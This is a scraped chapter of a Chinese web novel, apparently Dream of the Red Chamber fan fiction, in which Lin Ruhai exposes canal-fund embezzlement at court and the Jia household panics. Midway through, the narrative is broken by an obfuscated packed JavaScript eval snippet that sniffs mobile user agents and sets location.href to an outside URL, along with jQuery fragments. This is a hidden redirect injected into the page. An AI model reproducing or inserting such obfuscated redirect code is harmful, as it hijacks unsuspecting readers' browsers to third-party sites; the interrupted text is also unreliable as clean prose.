默认冷灰
24号文字
方正启体

26.风雨欲来

作者:丞舛本书字数:K更新时间:
    街巷积水成洼,车马难行,林如海起了个大早,天不亮便换上朝服,临出门前对长生道:“今日朝会,为父要动本,你在家好生看顾姐姐,无论外头传来什么消息,都莫要慌。”


    长生点头:“父亲放心,儿子已让林忠闭了府门,无事不得出入。”


    林如海深深看了儿子一眼,拍了拍长生的肩,转身上了马车。


    车轮碾过积水,溅起浑浊的水花,林如海靠在车厢里,袖中那份奏折是昨夜他与长生、甄士隐三人反复推敲写就的。不告贾府逼婚——那是家事,上不得台面。


    他要告的是漕运亏空和户部积弊,以及以此为首的陈启年、王崇、贾政、王子腾等人,林如海本想着徐徐图之温水煮青蛙,可经过昨日贾府下头的事件过后,林如海被逼急了,他不管怎么样都要撕破这层皮。


    马车在午门外停下,雨势稍歇,天色依旧阴沉。


    百官陆续到了,三五成群站在廊下避雨,林如海下车,立时引来无数目光。


    “如海兄。”沈砚快步过来,压低声音,“今日朝会,你可有准备?”


    林如海点头:“沈兄放心。”


    周文渊也过来了,身后跟着几位清流官员,众人交换眼神,心照不宣,昨夜各府都得了消息,今日这场朝会注定不会平静。


    正说着,陈启年到了。


    这位老尚书今日面色如常,见林如海,还主动招呼:“林大人早,雨大路滑,路上可好走?”


    “劳陈尚书挂心,尚好。”林如海拱手。


    陈启年笑了笑,笑意未达眼底,他自然知道昨夜贾府的事,也知道外头那些流言,可那又如何?


    贾府蠢,他陈启年不蠢,逼婚是小节,亏空才是大事。只要林如海拿不出真凭实据,便动不了他分毫。


    钟鼓声起,百官入朝。


    金銮殿上,圣上面沉如水,待诸事奏毕,他忽然道:“林如海。”


    “臣在。”林如海出列。


    “朕让你查的户部账目,如何了?”


    “臣已查实。”林如海从袖中取出奏折,双手奉上,“宣和三年至宣和七年,漕运共计亏空白银一百二十七万两,其中,宣和五年亏空最巨,达三十万两,经查,此中牵涉前任漕运总督王崇、户部主事赵文礼、工部郎中贾政等一十七人,这是明细账目,请圣上御览。”


    太监接过奏折,呈递御前,殿中一片死寂,只听得见圣上翻阅奏折的沙沙声。


    陈启年脸色变了,他没想到林如海动作这么快,更没想到林如海竟真敢把贾政扯进来,那可是贾府的二老爷,王子腾的妹夫!


    圣上合上奏折,沉默良久,方道:“陈启年。”


    “臣在,”陈启年出列,背上已冒了冷汗。


    “你是户部尚书,漕运亏空至此,你可知情?”


    “臣…臣有失察之罪。”陈启年扑通跪倒,“可漕运账目繁杂,王崇又已病故,死无对证,林侍郎所言,恐是一面之词。”


    “一面之词?”圣上冷笑,将奏折掷下,“你自己看!”


    奏折摔在陈启年面前,摊开了。


    他颤抖着手拾起,只看了一眼,便面如死灰,那上头不仅有账目明细,还有王崇生前留下的亲笔供状!


    供状上清清楚楚写着,如何与户部、工部勾结,如何做假账,如何分赃,贾政、赵文礼的名字,赫然在列!


    “这…这不可能…”陈启年喃喃道,“王崇已死三年,这供状……”


    “是王崇死前留下的。”林如海道,“他知自己必死,便将此物交与心腹,嘱其若他身死,便将此物公之于众,那心腹隐姓埋名三年,前日才寻到臣,将此物交出。”


    这是昨夜与甄士隐商定的说法,那心腹自然是没有的,供状是甄士隐凭记忆默写,又仿了王崇笔迹,可这当口,谁还会去查证?


    陈启年瘫倒在地,完了,全完了,王崇的供状一出,他这些年做的那些事,怕是一件也瞒不住了。


    圣上看着他,:“陈启年,你还有何话说?”


    “臣……臣冤枉……”陈启年挣扎道,“这供状定是伪造!王崇已死,死无对证,林如海这是诬陷!”


    “诬陷?”圣上怒极反笑,“好,好一个诬陷。那朕问你,宣和五年,你府上添的那处宅子,价值三万两,银子从何而来?你儿子陈文翰在江南置的那三百顷良田,银子又从何而来?”


    陈启年面如土色,再也说不出话。


    圣上不再看他,对都察院左都御史道:“陈启年贪墨渎职,即刻下狱,交都察院、刑部、大理寺三司会审,涉案人等一律严查,绝不姑息!”


    “臣遵旨。”


    侍卫上前,拖起瘫软的陈启年,这位在户部经营二十年的老尚书,就这么被拖出了金銮殿,连官帽都掉了,滚落在殿中,无人敢捡。


    圣上目光扫过百官,最后落在林如海身上:“林如海。”


    “臣在。”


    “即日起,你暂代户部尚书一职,主持户部事务,继续清查亏空,朕给你三个月,将户部上下,给朕理个清楚!”


    “臣,领旨谢恩。”


    朝会散了百官退出金銮殿,个个神色凝重,陈启年倒了,户部要变天了。


    沈砚、周文渊与林如海并肩往外走。


    沈砚低声道:“如海兄,好手段。王崇那供状……”


    “沈兄慎言。”林如海打断他,“供状是真是假,自有圣裁,咱们做臣子的,只须办好差事。”


    沈砚会意,不再多言,周文渊却叹道:“陈启年一倒,怕是要牵连不少人。”


    “该牵连的,一个也跑不了。”林如海声音冰冷,“这些年,他们贪了多少,害了多少百姓,如今,该还了。”


    出了宫门,各自上车,林如海靠在车厢里,闭目养神,陈启年不过是条狗,他背后的人是王子腾。


    如今他断了他们一条财路,他们会善罢甘休?


    马车驶过街市,雨又下了起来,林如海掀帘看去,见街边茶楼里,几个人正聚在一处说话,见他马车经过,都看了过来,眼神复杂。


    他放下帘子,不再看。


    这京城,从来都是这样,你得意时,万人追捧,你失意时,千人踩踏。如今他圣眷正隆,那些人自然要巴结,可若有一日……


    林如海摇摇头,不再想,他既选了这条路,便只能往前走,不能回头。


    此刻荣国府,已乱成一锅粥。


    陈启年下狱的消息传来时,贾政正在书房看书,小厮连滚爬进来禀报,他手中的书“啪”地掉在地上。


    “你……你说什么?”


    “老爷,陈尚书下狱了!说是漕运亏空,牵涉……牵涉咱们府上!”小厮哭丧着脸,“外头都传遍了,说林侍郎递了折子,把咱们府上也扯进去了!”


    贾政脸色煞白,跌坐在椅上,完了,全完了。


    陈启年一倒,他那些事,还能瞒得住?王子腾虽能保他一时,可圣上若真追究起来……


    “快,快去请老太太!”贾政嘶声道。


    贾母已得了消息,正由王夫人、王熙凤扶着,颤巍巍往书房来。一见贾政,便问:“到底怎么回事?陈尚书怎会下狱?与咱们府上何干?”


    贾政扑通跪倒:“母亲,儿子……儿子一时糊涂……”


    “糊涂?”贾母气得浑身发抖,“你说,你到底做了什么?”


    贾政不敢隐瞒,将这些年与陈启年、王崇的勾当一五一十说了,末了哭道:“儿子也是没法子,府里开销大,进项少,若不想些法子,这偌大的家业,如何支撑?”


    “混账!”贾母一拐杖打在他背上,“我贾家世代勋贵,就是饿死,也不能做这等事!你……你真是丢尽了祖宗的颜面!”


    王夫人也哭道:“老爷,你怎这般糊涂!如今可如何是好?”


    正闹着,外头又有人来报:“老太太,太太,王家舅老爷来了!”


    王子腾大步进来,一身雨水,面色铁青。见这情形,便知贾政已说了,冷冷道:“现在知道怕了?早做什么去了?”


    贾母忙道:“他舅,你可要救救政儿!”


    王子腾在椅上坐下,沉声道:“救?怎么救?陈启年已下了狱,三司会审,他那张嘴,能撑多久?一旦他招了,政弟便是下一个!”


    “那……那可如何是好?”王夫人急道。


    王子腾沉吟片刻:“为今之计,只有一条路——让政弟主动请罪。”


    “请罪?”贾政脸色惨白,“那我这官……”


    “官?”王子腾冷笑,“你还想保官?能保命就不错了!主动请罪,将贪墨的银子吐出来,再求圣上开恩,或可从轻发落,若等三司查上门,便是抄家灭族的大罪!”


    贾母老泪纵横:“我贾家……我贾家怎就落到这般田地……”


    王子腾不耐道:“现在说这些有何用?速去写请罪折子,我替你递上去,还有,那些银子,尽快凑齐,一文不能少!”


    贾政瘫在地上,面如死灰,他这官是保不住了,这些年贪的银子,少说也有十几万两,如今要全吐出来,贾府怕是要掏空家底。


    王子腾又对贾母道:“老太太,还有一事——林家那边,切莫再去招惹。林如海如今圣眷正隆,又暂代户部尚书,咱们惹不起。”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16979202|192023||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    提到林家,贾母眼里闪过恨意:“若不是他家,政儿怎会……”


    “糊涂!”王子腾厉声道,“是政弟自己手脚不干净,与林家何干?如今咱们是泥菩萨过江,自身难保,你还想去惹林家?嫌死得不够快么?”


    贾母不敢再言,只垂泪。


    王子腾起身:“我这就去写折子,你们速去筹银子,三日之内必须凑齐!”


    说罢,拂袖而去。


    贾母望着儿子,长叹一声:“作孽,真是作孽啊……”


    林府这边,却是另一番光景。


    林如海回府时,雨已停了,长生、黛玉、甄士隐都在前厅等着,见他回来,都迎上来。


    “父亲,朝会如何?”长生问。


    林如海将朝会情形说了,末了道:“陈启年下了狱,圣上命我暂代户部尚书,继续清查。”


    黛玉松了口气:“如此便好。”


    甄士隐却道:“林大人,陈启年一倒,那些人定不会善罢甘休。您要多加小心。”


    “先生说得是,”林如海点头,“不过他们如今自顾不暇,暂时还腾不出手来对付我,倒是贾府那边,贾政怕是要倒霉了。”


    长生冷笑:“他活该,这些年贪了多少,如今该吐出来了。”


    正说着,外头林忠来报:“老爷,镇国公府牛夫人来了,说是来赔罪。”


    众人都是一怔,林如海道:“请到花厅。”


    牛夫人是独自来的,未带女儿,她今日穿着素净,见林如海进来,忙起身行礼:“林大人。”


    “牛夫人请坐。”林如海在主位坐下,“夫人今日来,所为何事?”


    牛夫人苦笑:“我是替我那小姑子赔罪来了,贾府昨日所为,实在荒唐,我家老爷听说后,已将小姑狠狠训斥了一顿。今日特让我来,向林大人、林姑娘赔个不是。”


    说着,让丫鬟奉上礼盒:“这是些药材补品,给林姑娘压惊,还请林大人莫要与我那小姑子一般见识。”


    林如海淡淡道:“夫人言重了,贾府是贾府,镇国公府是镇国公府,林某分得清。”


    这话说得客气疏离,牛夫人听懂了,林家这是要与贾府彻底划清界限,连带着对镇国公府也有了隔阂。


    她心中叹息,却也无法,谁让贾府那般蠢,做出那等事来?如今连累得镇国公府也难做人。


    “林大人宽宏大量,妾身感激不尽。”牛夫人起身,“既如此,妾身便不叨扰了,日后若有用得着镇国公府的地方,尽管开口。”


    “夫人慢走。”


    送走牛夫人,长生道:“父亲,镇国公府这是撇清关系?”


    林如海道,“牛继宗是聪明人,见贾府要倒,便急着划清界限,他让夫人来赔罪是真觉得贾府荒唐,想看看咱们的态度。”


    “那父亲……”


    “咱们的态度,便是没有态度。”林如海道,“不亲近,不疏远,不表态。这朝堂上的事,瞬息万变,今日的朋友,明日的敌人,谁说得准?”


    长生点头:“儿子明白了。”


    黛玉轻声道:“父亲,牛小姐她……与贾府不同,那日她来,虽是热情了些,可眼神真诚,不似作伪。”


    林如海看着女儿,温声道:“玉儿,为父知你心善。可这京城里的人,真真假假,谁说得清?牛萱或许真心,可她身后是镇国公府,且不说镇国府到底牵扯几分,如今先明哲保身。”


    黛玉默然,心里有些怅惘,那日荷塘边牛萱看她的眼神亮晶晶的,像是真的喜欢她,可这份喜欢在家族利益面前,又算得了什么?


    “姐姐莫难过。”长生道,“真心朋友,贵在知心。严姐姐、沈家妹妹、周家妹妹,不都与你交好?至于牛萱,等事情过后再论吧。”


    “长生说得是,”林如海道,“玉儿,真心待咱们的,咱们真心相待,虚情假意的,咱们敬而远之,这便够了。”


    “女儿谨记。”


    正说着,外头又有人来报,这次是严府、沈府、周府都派人送了礼来,说是给林姑娘压惊,礼不重,却都是心意。


    黛玉看着那些礼,心里暖了,这京城,虽有贾府那般不堪的,可也有严姐姐、沈家妹妹这般真心的,如此,便够了。


    长生在书房,将那本账册重新收好,陈启年倒了,贾政要垮了,可王子腾还在,那些盘根错节的势力还在。


    这一仗,才刚开了个头。


    他推开窗,见院中积水未退,倒映着一弯新月,雨后的空气清新,带着泥土的芬芳。


    长生关窗,吹熄烛火,该睡了,明日,还有明日的事。


    而这京城的夜,还长着呢。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)